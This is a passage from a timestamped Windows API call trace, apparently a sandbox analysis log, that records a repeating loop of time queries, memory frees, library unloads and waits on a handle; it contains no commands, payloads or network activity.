lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44ab9057, dwHighDateTime=0x1d9eb0c)) [0229.686] free (_Block=0x20abc281ac0) [0229.686] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.687] free (_Block=0x20abc284e70) [0229.687] free (_Block=0x20abc27cb20) [0229.687] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.694] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44ab9057, dwHighDateTime=0x1d9eb0c)) [0229.695] free (_Block=0x20abc281de0) [0229.695] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.696] free (_Block=0x20abc284e70) [0229.696] free (_Block=0x20abc27cb20) [0229.697] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.704] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44adf2e2, dwHighDateTime=0x1d9eb0c)) [0229.705] free (_Block=0x20abc2819e0) [0229.705] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.706] free (_Block=0x20abc284e70) [0229.706] free (_Block=0x20abc27cb20) [0229.706] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44b05a88, dwHighDateTime=0x1d9eb0c)) [0229.714] free (_Block=0x20abc2820e0) [0229.714] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.715] free (_Block=0x20abc284e70) [0229.715] free (_Block=0x20abc27cb20) [0229.715] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.776] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44b9df33, dwHighDateTime=0x1d9eb0c)) [0229.777] free (_Block=0x20abc281dc0) [0229.778] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.778] free (_Block=0x20abc284e70) [0229.779] free (_Block=0x20abc27cb20) [0229.780] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44bc456c, dwHighDateTime=0x1d9eb0c)) [0229.796] free (_Block=0x20abc281c80) [0229.796] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.797] free (_Block=0x20abc284e70) [0229.798] free (_Block=0x20abc27cb20) [0229.798] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.804] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44bc456c, dwHighDateTime=0x1d9eb0c)) [0229.805] free (_Block=0x20abc282000) [0229.805] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.806] free (_Block=0x20abc284e70) [0229.807] free (_Block=0x20abc27cb20) [0229.807] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.813] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44beb999, dwHighDateTime=0x1d9eb0c)) [0229.813] free (_Block=0x20abc282080) [0229.814] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.815] free (_Block=0x20abc284e70) [0229.816] free (_Block=0x20abc27cb20) [0229.816] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44c82d7a, dwHighDateTime=0x1d9eb0c)) [0229.870] free (_Block=0x20abc281fa0) [0229.870] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.871] free (_Block=0x20abc284e70) [0229.872] free (_Block=0x20abc27cb20) [0229.872] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44c82d7a, dwHighDateTime=0x1d9eb0c)) [0229.884] free (_Block=0x20abc281d40) [0229.885] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.885] free (_Block=0x20abc284e70) [0229.887] free (_Block=0x20abc27cf80) [0229.887] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44ca8e7a, dwHighDateTime=0x1d9eb0c)) [0229.896] free (_Block=0x20abc281b60) [0229.896] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.897] free (_Block=0x20abc284e70) [0229.899] free (_Block=0x20abc27cb20) [0229.899] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0229.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44ccf1fb, dwHighDateTime=0x1d9eb0c)) [0229.908] free (_Block=0x20abc281c20) [0229.909] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0229.909] free (_Block=0x20abc284e70) [0229.911] free (_Block=0x20abc27cb20) [0229.911] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44e003cb, dwHighDateTime=0x1d9eb0c)) [0230.038] free (_Block=0x20abc281a80) [0230.038] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.039] free (_Block=0x20abc284e70) [0230.040] free (_Block=0x20abc27cb20) [0230.040] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.049] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44e266e3, dwHighDateTime=0x1d9eb0c)) [0230.049] free (_Block=0x20abc2819e0) [0230.050] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.051] free (_Block=0x20abc284e70) [0230.052] free (_Block=0x20abc27cf80) [0230.052] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.062] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44e4cd60, dwHighDateTime=0x1d9eb0c)) [0230.063] free (_Block=0x20abc281b00) [0230.064] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.064] free (_Block=0x20abc284e70) [0230.065] free (_Block=0x20abc27cb20) [0230.065] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44e76f27, dwHighDateTime=0x1d9eb0c)) [0230.075] free (_Block=0x20abc281de0) [0230.075] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.076] free (_Block=0x20abc284e70) [0230.077] free (_Block=0x20abc27cb20) [0230.077] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44f0b3ec, dwHighDateTime=0x1d9eb0c)) [0230.136] free (_Block=0x20abc281ba0) [0230.136] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.137] free (_Block=0x20abc284e70) [0230.137] free (_Block=0x20abc27cf80) [0230.138] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.143] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44f0b3ec, dwHighDateTime=0x1d9eb0c)) [0230.144] free (_Block=0x20abc281da0) [0230.144] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.145] free (_Block=0x20abc284e70) [0230.145] free (_Block=0x20abc27cb20) [0230.146] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.160] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44f31985, dwHighDateTime=0x1d9eb0c)) [0230.161] free (_Block=0x20abc281f80) [0230.161] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.162] free (_Block=0x20abc284e70) [0230.162] free (_Block=0x20abc27cb20) [0230.162] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44f57a49, dwHighDateTime=0x1d9eb0c)) [0230.169] free (_Block=0x20abc2820c0) [0230.169] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.170] free (_Block=0x20abc284e70) [0230.170] free (_Block=0x20abc27cb20) [0230.171] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.181] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x44f57a49, dwHighDateTime=0x1d9eb0c)) [0230.182] free (_Block=0x20abc281b00) [0230.182] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.182] free (_Block=0x20abc284e70) [0230.183] free (_Block=0x20abc27cb20) [0230.183] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.244] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45016568, dwHighDateTime=0x1d9eb0c)) [0230.245] free (_Block=0x20abc2820c0) [0230.245] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.246] free (_Block=0x20abc284e70) [0230.247] free (_Block=0x20abc27cb20) [0230.247] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.253] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45016568, dwHighDateTime=0x1d9eb0c)) [0230.254] free (_Block=0x20abc281dc0) [0230.254] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.255] free (_Block=0x20abc284e70) [0230.255] free (_Block=0x20abc27cb20) [0230.255] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4503cbdc, dwHighDateTime=0x1d9eb0c)) [0230.262] free (_Block=0x20abc281e20) [0230.262] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.263] free (_Block=0x20abc284e70) [0230.263] free (_Block=0x20abc27cf80) [0230.264] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4503cbdc, dwHighDateTime=0x1d9eb0c)) [0230.271] free (_Block=0x20abc281c20) [0230.272] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.272] free (_Block=0x20abc284e70) [0230.273] free (_Block=0x20abc27cb20) [0230.273] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.329] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x450d50c9, dwHighDateTime=0x1d9eb0c)) [0230.329] free (_Block=0x20abc281ba0) [0230.330] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.330] free (_Block=0x20abc284e70) [0230.331] free (_Block=0x20abc27cb20) [0230.331] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45193d6e, dwHighDateTime=0x1d9eb0c)) [0230.406] free (_Block=0x20abc281e00) [0230.406] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.407] free (_Block=0x20abc284e70) [0230.408] free (_Block=0x20abc27cb20) [0230.408] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x451ba2f5, dwHighDateTime=0x1d9eb0c)) [0230.418] free (_Block=0x20abc281d60) [0230.418] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.419] free (_Block=0x20abc284e70) [0230.420] free (_Block=0x20abc27cf80) [0230.421] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x451ba2f5, dwHighDateTime=0x1d9eb0c)) [0230.428] free (_Block=0x20abc281fc0) [0230.428] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.429] free (_Block=0x20abc284e70) [0230.430] free (_Block=0x20abc27cb20) [0230.430] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x451e0446, dwHighDateTime=0x1d9eb0c)) [0230.436] free (_Block=0x20abc281d40) [0230.437] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.437] free (_Block=0x20abc284e70) [0230.438] free (_Block=0x20abc27cf80) [0230.438] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.444] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x451e0446, dwHighDateTime=0x1d9eb0c)) [0230.445] free (_Block=0x20abc281fc0) [0230.445] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.446] free (_Block=0x20abc284e70) [0230.446] free (_Block=0x20abc27cb20) [0230.446] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45278b44, dwHighDateTime=0x1d9eb0c)) [0230.499] free (_Block=0x20abc281ec0) [0230.499] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.500] free (_Block=0x20abc284e70) [0230.501] free (_Block=0x20abc27cb20) [0230.501] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.507] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45278b44, dwHighDateTime=0x1d9eb0c)) [0230.507] free (_Block=0x20abc281f60) [0230.508] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.508] free (_Block=0x20abc284e70) [0230.509] free (_Block=0x20abc27cb20) [0230.509] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4529ed5e, dwHighDateTime=0x1d9eb0c)) [0230.516] free (_Block=0x20abc281ea0) [0230.517] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.517] free (_Block=0x20abc284e70) [0230.518] free (_Block=0x20abc27cb20) [0230.518] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.524] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4529ed5e, dwHighDateTime=0x1d9eb0c)) [0230.525] free (_Block=0x20abc281ec0) [0230.525] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.526] free (_Block=0x20abc284e70) [0230.527] free (_Block=0x20abc27cb20) [0230.527] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.535] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x452c4fb0, dwHighDateTime=0x1d9eb0c)) [0230.535] free (_Block=0x20abc281c40) [0230.536] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.536] free (_Block=0x20abc284e70) [0230.537] free (_Block=0x20abc27cb20) [0230.538] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4535d8a8, dwHighDateTime=0x1d9eb0c)) [0230.591] free (_Block=0x20abc2819e0) [0230.591] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.592] free (_Block=0x20abc284e70) [0230.592] free (_Block=0x20abc27cf80) [0230.593] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4535d8a8, dwHighDateTime=0x1d9eb0c)) [0230.602] free (_Block=0x20abc281f00) [0230.602] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.603] free (_Block=0x20abc284e70) [0230.604] free (_Block=0x20abc27cb20) [0230.604] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.614] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45383c8e, dwHighDateTime=0x1d9eb0c)) [0230.614] free (_Block=0x20abc281fe0) [0230.615] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.615] free (_Block=0x20abc284e70) [0230.616] free (_Block=0x20abc27cf80) [0230.616] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.663] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x453f4bf4, dwHighDateTime=0x1d9eb0c)) [0230.663] free (_Block=0x20abc281e20) [0230.664] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.664] free (_Block=0x20abc284e70) [0230.665] free (_Block=0x20abc27cb20) [0230.665] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45496b9e, dwHighDateTime=0x1d9eb0c)) [0230.731] free (_Block=0x20abc281d40) [0230.731] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.732] free (_Block=0x20abc284e70) [0230.733] free (_Block=0x20abc27cf80) [0230.733] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x454bcdea, dwHighDateTime=0x1d9eb0c)) [0230.741] free (_Block=0x20abc282080) [0230.741] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.742] free (_Block=0x20abc284e70) [0230.743] free (_Block=0x20abc27cb20) [0230.743] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x454e32c4, dwHighDateTime=0x1d9eb0c)) [0230.758] free (_Block=0x20abc281960) [0230.758] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.759] free (_Block=0x20abc284e70) [0230.760] free (_Block=0x20abc27cb20) [0230.760] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.810] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4557d0d0, dwHighDateTime=0x1d9eb0c)) [0230.812] free (_Block=0x20abc281ce0) [0230.813] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.813] free (_Block=0x20abc284e70) [0230.814] free (_Block=0x20abc27cb20) [0230.814] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.822] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4558baec, dwHighDateTime=0x1d9eb0c)) [0230.823] free (_Block=0x20abc281b00) [0230.823] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.824] free (_Block=0x20abc284e70) [0230.825] free (_Block=0x20abc27cb20) [0230.825] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x4558baec, dwHighDateTime=0x1d9eb0c)) [0230.832] free (_Block=0x20abc2820e0) [0230.832] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.833] free (_Block=0x20abc284e70) [0230.834] free (_Block=0x20abc27cb20) [0230.834] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x455b2207, dwHighDateTime=0x1d9eb0c)) [0230.844] free (_Block=0x20abc281b00) [0230.844] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.844] free (_Block=0x20abc284e70) [0230.845] free (_Block=0x20abc27cf80) [0230.845] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.854] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x455d843f, dwHighDateTime=0x1d9eb0c)) [0230.855] free (_Block=0x20abc281b20) [0230.855] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.856] free (_Block=0x20abc284e70) [0230.857] free (_Block=0x20abc27cf80) [0230.857] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.917] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45670dc8, dwHighDateTime=0x1d9eb0c)) [0230.917] free (_Block=0x20abc281be0) [0230.918] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.918] free (_Block=0x20abc284e70) [0230.919] free (_Block=0x20abc27cf80) [0230.919] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.929] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45696f88, dwHighDateTime=0x1d9eb0c)) [0230.930] free (_Block=0x20abc281ee0) [0230.930] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.931] free (_Block=0x20abc284e70) [0230.932] free (_Block=0x20abc27cf80) [0230.932] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.938] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x45696f88, dwHighDateTime=0x1d9eb0c)) [0230.939] free (_Block=0x20abc281da0) [0230.939] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.940] free (_Block=0x20abc284e70) [0230.941] free (_Block=0x20abc27cf80) [0230.941] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0230.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x457097eb, dwHighDateTime=0x1d9eb0c)) [0230.978] free (_Block=0x20abc281d40) [0230.978] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0230.979] free (_Block=0x20abc284e70) [0230.980] free (_Block=0x20abc27cf80) [0230.980] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.036] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x457a25c8, dwHighDateTime=0x1d9eb0c)) [0231.037] free (_Block=0x20abc281ea0) [0231.037] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.038] free (_Block=0x20abc284e70) [0231.039] free (_Block=0x20abc27cf80) [0231.039] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: lpSystemTimeAsFileTime=0x2dc25ffd50*(dwLowDateTime=0x457a25c8, dwHighDateTime=0x1d9eb0c)) [0231.051] free (_Block=0x20abc281b00) [0231.051] FreeLibrary (hLibModule=0x7ffb1ced0000) returned 1 [0231.052] free (_Block=0x20abc284e70) [0231.053] free (_Block=0x20abc2abf40) [0231.053] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0231.059] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc25ffd50 | out: 